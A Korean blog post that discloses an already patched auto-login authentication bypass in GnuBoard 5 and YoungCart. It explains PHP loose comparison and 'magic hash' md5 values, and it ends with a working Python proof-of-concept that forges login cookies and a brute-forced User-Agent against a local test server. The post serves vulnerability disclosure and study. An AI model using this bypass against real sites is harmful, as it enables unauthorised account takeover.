2017년 6월 20일 화요일

그누보드 5 자동 로그인 인증 우회 취약점

내가 그누보드, 영카트 취약점을 찾았던것중 재미로 뽑자면 열 손가락안에 드는 취약점중 하나 인거 같은 취약점에 대해 써볼것이다.

우선 이 취약점은 실 상황에서의 '파급력'보다 단순 '재미'로만 보는게 가장 바람직 할것이다. 이유는 진짜 단순하고 익스 과정까지 엄청난 브포가 필요하기 때문이다.

우선 그누보드의 최근 패치 내역을 보자.



사실 이것만 봐도 워게임 또는 CTF를 '아주 조금' 이라도 해봤거나 PHP로 코딩 하는 소수 또는 다수의 사람들은 대충 알겠지만, 정상적인 언어로 코딩을 하는 사람들은 이해를 못할수도 있으니 왜 이게 취약한것인지 설명을 해보자면 PHP는 '=='와 '==='의 비교자체가 아주 다르다 자세한 내용은 아래를 참고하자





사실 이것만 봐도 매력적인 언어가 또 어디있나 싶다. (사실 내가 많이 쓰는 언어가 PHP다.) 사실 위에거는 PHP의 위대함을 보여주기 위함이였고 다시 본론으로 돌아가서 어떤식으로 우회를 하냐면 PHP에는 Magic Hash라는 공격기법이 있다 이것이 무엇인지는 아래를 참고해보자.



이러한 공격 기법이다.

자 이제 다시 그누보드의 소스코드로 돌아가보자



$key라는 변수에는 유저의 아이피 + 사이트의 아이피 + 유저 에이전트 + 검색된 아이디의 해시화된 비번 값이 md5로 암호화 하여 저장을하고 $tmp_key에는 ck_auto라는 쿠키값을 저장한후 $tmp_key == $key 이런식으로 비교한다. 자 여기서 유저 에이전트를 md5의 결과값을 0e[0-9]+ 가 나올때까지 브포를 하면서 ck_auto값을 '0e123' 으로 맞춰 버린다면 두말 할것 없이 바로 바이패스가 될것이다.

사실 나는 PHP Trick을 개인적으로 매우 좋아하며, 앞으로도 PHP trick에 대해 공부하고 알게 된 trick을 이용해 php로 제작된 CMS들의 취약점을 찾아볼 예정이다.

마지막으로 아래는 poc 영상과 영상에서 사용된 exploit 코드다 참고로 테스트 할때는 시간 단축을 위해 직접 $row['mb_password']와 같은 값을 모두 구해 로컬에서 브포를 돌린후 결과를 서버로 보냈다

패치된 버전 다운 : https://sir.kr/g5_pds/3660

video : https://youtu.be/gWEqz0QLqJo

exploit code : 

import requests
import hashlib
from urllib import quote

def md5_enc(_str):
m = hashlib.md5()
m.update(_str)
return m.hexdigest()

ex_cookie = md5_enc('ck_mb_id')+"="+quote("testid123".encode("base64").strip())+";"+md5_enc("ck_auto")+"="+quote("0e123".encode("base64").strip())+";PHPSESSID=6cktqqhisq4v2sjusageshaiu3"

header = {"Cookie": ex_cookie, "User-Agent": "457786147"}  #457786147

url = "http://10.211.55.3/youngcart/"

content = requests.get(url, headers=header).text
print content